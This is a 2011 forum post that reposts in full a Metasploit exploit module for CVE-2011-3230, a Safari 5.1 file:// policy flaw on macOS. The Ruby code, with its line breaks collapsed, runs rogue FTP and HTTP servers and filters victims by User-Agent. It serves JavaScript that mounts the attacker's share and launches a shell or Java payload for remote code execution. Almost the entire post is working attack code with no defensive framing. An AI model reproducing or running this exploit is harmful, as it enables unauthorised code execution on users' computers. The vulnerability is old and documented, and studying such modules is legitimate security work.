LLegoLLaS Posted October 17, 2011 Report Posted October 17, 2011 (edited) ### $Id: safari_file_policy.rb 13967 2011-10-17 03:49:49Z todb $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# [url=http://metasploit.com/framework/]Metasploit Framework Penetration Testing Software | Metasploit Project[/url]##require 'msf/core'require 'rex/service_manager'class Metasploit3 < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::FtpServerdef initialize(info={})super(update_info(info,'Name' => "Apple Safari file:// Arbitrary Code Execution",'Description' => %q{This module exploits a vulnerability found in Apple Safari on OSX platform.A policy issue in the handling of file:// URLs may allow arbitrary remote codeexecution under the context of the user.In order to trigger arbitrary remote code execution, the best way seems tobe opening a share on the victim machine first (this can be SMB/WebDav/FTP, ora fileformat that OSX might automount), and then execute it in /Volumes/[share].If there's some kind of bug that leaks the victim machine's current username,then it's also possible to execute the payload in /Users/[username]/Downloads/,or else bruteforce your way to getting that information.Please note that non-java payloads (*.sh extension) might get launched byXcode instead of executing it, in that case please try the Java ones instead.},'License' => MSF_LICENSE,'Version' => "$Revision: 13967 $",'Author' =>['Aaron Sigel', # Initial discovery'sinn3r', # Metasploit (also big thanks to HD, and bannedit)],'References' =>[['CVE', '2011-3230'],['URL', 'http://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html#comments'],['URL', 'http://support.apple.com/kb/HT5000']],'Payload' =>{'BadChars' => "",},'DefaultOptions' =>{'ExitFunction' => "none",},'Platform' => [ 'unix', 'osx', 'java' ],'Arch' => [ ARCH_CMD, ARCH_JAVA ],'Targets' =>[[ 'Safari 5.1 on OSX', {} ],[ 'Safari 5.1 on OSX with Java', {} ]],'Privileged' => true,'DisclosureDate' => "Oct 12 2011", #Blog date'DefaultTarget' => 0))register_options([OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),OptPort.new('SRVPORT', [true, "The local port to use for the FTP server (Do not change)", 21 ]),OptPort.new('HTTPPORT', [true, "The HTTP server port", 80])], self.class )end## Start the FTP aand HTTP server#def exploit# The correct extension name is necessary because that's how the LauncherServices# determines how to open the file.ext = (target.name =~ /java/i) ? '.jar' : '.sh'@payload_name = Rex::Text.rand_text_alpha(4 + rand(16)) + ext# Start the FTP serverstart_service()print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}")# Create our own HTTP server# We will stay in this functino until we manually terminate executionstart_http()end## Lookup the right address for the client#def lookup_lhost(c=nil)# Get the source addressif datastore['SRVHOST'] == '0.0.0.0'Rex::Socket.source_address( c || '50.50.50.50')elsedatastore['SRVHOST']endend## Override the client connection method and# initialize our payload#def on_client_connect(c)r = super(c)@state[c][:payload] = regenerate_payload(c).encodedrend## Handle FTP LIST request (send back the directory listing)#def on_client_command_list(c, arg)conn = establish_data_connection(c)if not connc.put("425 Can't build data connection\r\n")returnendprint_status("Data connection setup")c.put("150 Here comes the directory listing\r\n")print_status("Sending directory list via data connection")month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']m = month_names[Time.now.month-1]d = Time.now.dayy = Time.now.yeardir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}\r\n"conn.put(dir)conn.closeprint_status("Directory sent ok")c.put("226 Transfer ok\r\n")returnend## Handle the FTP RETR request. This is where we transfer our actual malicious payload#def on_client_command_retr(c, arg)conn = establish_data_connection(c)if not connc.put("425 can't build data connection\r\n")returnendprint_status("Connection for file transfer accepted")c.put("150 Connection accepted\r\n")# Send out payloadconn.put(@state[c][:payload])conn.closereturnend## Handle the HTTP request and return a response. Code borrorwed from:# msf/core/exploit/http/server.rb#def start_http(opts={})# Ensture all dependencies are present before initializing HTTPuse_zlibcomm = datastore['ListenerComm']if (comm.to_s == "local")comm = ::Rex::Socket::Comm::Localelsecomm = nilend# Default the server host / portopts = {'ServerHost' => datastore['SRVHOST'],'ServerPort' => datastore['HTTPPORT'],'Comm' => comm}.update(opts)# Start a new HTTP server@http_service = Rex::ServiceManager.start(Rex::Proto::Http::Server,opts['ServerPort'].to_i,opts['ServerHost'],datastore['SSL'],{'Msf' => framework,'MsfExploit' => self,},opts['Comm'],datastore['SSLCert'])@http_service.server_name = datastore['HTTP::server_name']# Default the procedure of the URI to on_request_uri if one isn't# provided.uopts = {'Proc' => Proc.new { |cli, req|on_request_uri(cli, req)},'Path' => resource_uri}.update(opts['Uri'] || {})proto = (datastore["SSL"] ? "https" : "http")print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")if (opts['ServerHost'] == '0.0.0.0')print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")end# Add path to resource@service_path = uopts['Path']@http_service.add_resource(uopts['Path'], uopts)# As long as we have the http_service object, we will keep the ftp server alivewhile @http_serviceselect(nil, nil, nil, 1)endend## Kill HTTP/FTP (shut them down and clear resources)#def cleanupsuper# Kill FTPstop_service()# clear my resource, deregister ref, stop/close the HTTP socketbegin@http_service.remove_resource(datastore['URIPATH'])@http_service.deref@http_service.stop@http_service.close@http_service = nilrescueendend## Ensures that gzip can be used. If not, an exception is generated. The# exception is only raised if the DisableGzip advanced option has not been# set.#def use_zlibif (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"endend## Returns the configured (or random, if not configured) URI path#def resource_uripath = datastore['URIPATH'] || random_uripath = '/' + path if path !~ /^\//datastore['URIPATH'] = pathreturn pathend## Handle HTTP requets and responses#def on_request_uri(cli, request)agent = request.headers['User-Agent']if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/print_error("Unsupported target: #{agent}")send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")returnendhtml = <<-HTML<html><head><base href="file://"><script>function launch() {document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";}function share() {document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";setTimeout("launch()", 2000);}share();</script></head><body></body></html>HTMLsend_response(cli, 200, 'OK', html)end## Create an HTTP response and then send it#def send_response(cli, code, message='OK', html='')proto = Rex::Proto::Http::DefaultProtocolres = Rex::Proto::Http::Response.new(code, message, proto)res['Content-Type'] = 'text/html'res.body = htmlcli.send_response(res)endend=begin- Need to find a suitable payload that can be executed without warning.Certain executables cannot be executed due to permission issues. A jar file doesn't have thisproblem, but we still get a "Are you sure?" warning before it can be executed.- Allow user-specified port to automount the share- Allow ftp USERNAME/PASSWORD (optional)=endsursa Edited October 18, 2011 by LLegoLLaS Quote